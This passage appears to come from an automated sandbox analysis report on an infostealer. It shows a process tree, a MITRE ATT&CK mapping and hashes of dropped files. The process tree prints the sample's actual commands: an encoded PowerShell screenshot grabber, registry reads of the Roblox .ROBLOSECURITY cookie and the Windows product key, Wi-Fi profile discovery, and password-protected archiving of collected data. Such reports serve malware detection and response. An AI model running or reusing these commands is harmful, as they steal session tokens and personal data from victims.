      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1412
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1644
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2888
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:2592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:2560
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2688
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5236
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cnscos2v\cnscos2v.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4676
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES937C.tmp" "c:\Users\Admin\AppData\Local\Temp\cnscos2v\CSC5E7551ABFA540A39FE4BA91529F96A.TMP"
        6⤵
        
        PID:1216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3700
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:52
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:248
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3456
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:6004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1304
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4244
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:3176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2904
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:5252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6012
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:1140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI50762\rar.exe a -r -hp"Self1212" "C:\Users\Admin\AppData\Local\Temp\FSuV6.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4648
  - - C:\Users\Admin\AppData\Local\Temp\_MEI50762\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI50762\rar.exe a -r -hp"Self1212" "C:\Users\Admin\AppData\Local\Temp\FSuV6.zip" *
      4⤵
      Executes dropped EXE
      PID:3836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3648
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1072
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:5464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1808
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:2552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1944
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:1924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1112
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:6024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4524
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4868
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:2644

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 435471b87a1a97b0e29f7d5dd0878e63031511f063629d7e750852c068e7c4f5
MD5 81b56f1dad28119d54bf23c83fc570b9
SHA1 cb9a89a716465611149ce3c700bd60681d434faf
SHA512 77bd4d53ca86d66d29ba662dd424e94e5cef46c6a460cbf9f8d87a40c627401c0f6d0fe30258c23ed1cf63df1a70b19288885a33c206fb85a19f12efaab61927
TLSH
T1F3216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
MD5 78b9021e0576c01ec958b87ec52832c1
SHA1 76df758d602c2d4cc4a4bfa0f3b435cae1ed3ffa
SHA512 4402163ed9623a392f120417ea0b5049bf0d76b88dd7f4fc70428ef7e76601f25bd534ae916ed9daba859fb6308d6f370712985ccd165f6393dbce7c5c507514
TLSH
T11F216833F3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4930c5a2ae44102bd884c11004d0b7a06aa9fda03729e500c5657e585f96b812
MD5 2c2f5d7f4091384f52b1d7f62f817efc
SHA1 6e53266bc2ca927a8c243bb252994a1a30570417
SHA512 7662ffd2d59fe0bc35840b1aa174e9d09a8a24aea611ccb624944bbadbf62f4090d8e1f214bff496ef3a45bd1c7585fd80d4c289c7de0704cad68f45397d4ecd
TLSH
T10C216633F3CD8665D899403A40CEAC0032B7D7DB409FDE9BAB84D509B43F689CE611A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 dd3e23a0f38b25911578eda470771eb68400755c8504293e7bb61cbabc292edb
MD5 2a7f0eccaee20513a16764423f163550
SHA1 2972523df4833d1cdc797fe524f30e99e4ddf991
SHA512 fd3d165f6261a85de8b1a35ab03027d0c7f9162e2cb60e6f2e5e2e392b02b92bb3dd013ff8751417e7127bc919d93a915c81d7a1a3048545959471419e3270ad
TLSH
T17B215733F3CC8624C89A413650CEAC1036B687DB419ECF6BBB84D154A43F599DF61260
MD5 SHA1 SHA512 TLSH

Submit Download

RES937C.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES937C.tmp
Size 1KB
SHA256 30fa2759fb219441699fdd2b1825ac336d78fe3b36c4552bf827a964b548f5fc
MD5 d9b1edc6ddcf0fc045d552d78bde204f
SHA1 6f1f0ee25fbd18041f04f1dcd282de515483371a
SHA512 0fc1f1da7069cc2c4b38d692188842623f5de629dfa53888a2e2876c916d001a6836a2187ed9d02ad245ad33ac58197e4b5cd6a21afff6c85b75fb9f4641996e
TLSH
T13A21AA0953EC871FF0775B32A9FA172FD674FDA4DFA6639A8440422C1C50684EEA1B72
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI50762\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI50762\VCRUNTIME140_1.dll
Size 48KB
SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
MD5 c0c0b4c611561f94798b62eb43097722
SHA1 523f515eed3af6d50e57a3eaeb906f4ccc1865fe
SHA512 35db454dbcc7ed89842c0440b92ce0b0b0db41dbd5432a36a0b7e1eddf51704b1f0d6cff5e3a3b0c3ff5db3d8632fed000471180ad72e39d8dbe68a757ccdfb0
SSDEEP 768:vzzO6ujT3MbR3v0Cz6Sz5q83ywug1HDV9zxfYbK9z:mq/oMx3hXHDnzxfYiz
TLSH
T1AE236BA453784486D4AB99B0C0DAEE577D7CFA964B10928F0BA0D15C1F637D0EB3D21B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI50762\_bz2.pyd
Size 51KB
SHA256 e57664f2255931e082e81090c9c022f4936a0657402f8490f4ff75c9a423de46
MD5 19550689eca83a2ef86c9b8a044bf6c6
SHA1 bf4e2e93ae863e1ed4b1e126535e36fb16c2b4ba
SHA512 580d5ee60f6b5098ae7eea122a39190aa95f82685b189b4176b15ac7ef72401fec257eeed226c7f6756d3ff421e106e89d81bc9db7e3dcc8d18a700a21bac07c
SSDEEP 1536:0LlV9iNNrrkXXRTz4f7PVnm37IS3VU5cycA89JfIYhE:Al4N4EVmLIS3VUpV
TLSH
T14033D0C546785067FEA39E3022D5D9C4FE3CA7E31046876B20AD96EA0F933C0A347369
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI50762\_ctypes.pyd
Size 67KB
SHA256 1378f230bf39b04d772db05de231e604d816b0d9acdbe4dfe70b0ff937228fd2
MD5 9ebcdcfd4c7006daee419647b2ba827e
SHA1 66bdd5aa512a10935596ef4d15493f2a0e4e4deb
SHA512 d2b403af491e6a2b293cfd23a85c1ab7bc581fbb20e19608319f10dcd62ce2f10f17e96ce29914d5ba60c785c0fcf6ea347693557b3b1e1030fd378c06a2d16c
SSDEEP 1536:KoeFkCYNi0ttldeH2pE9q28OlJ7zeISGP7vycA89vofIbHNv:WBCi0/T2cSq4ldaISGP7dT
TLSH
T1D263F2CF5AB88125EBA65E7175C0CB43FC39B783115194BE30EE62AA1F53791F306268
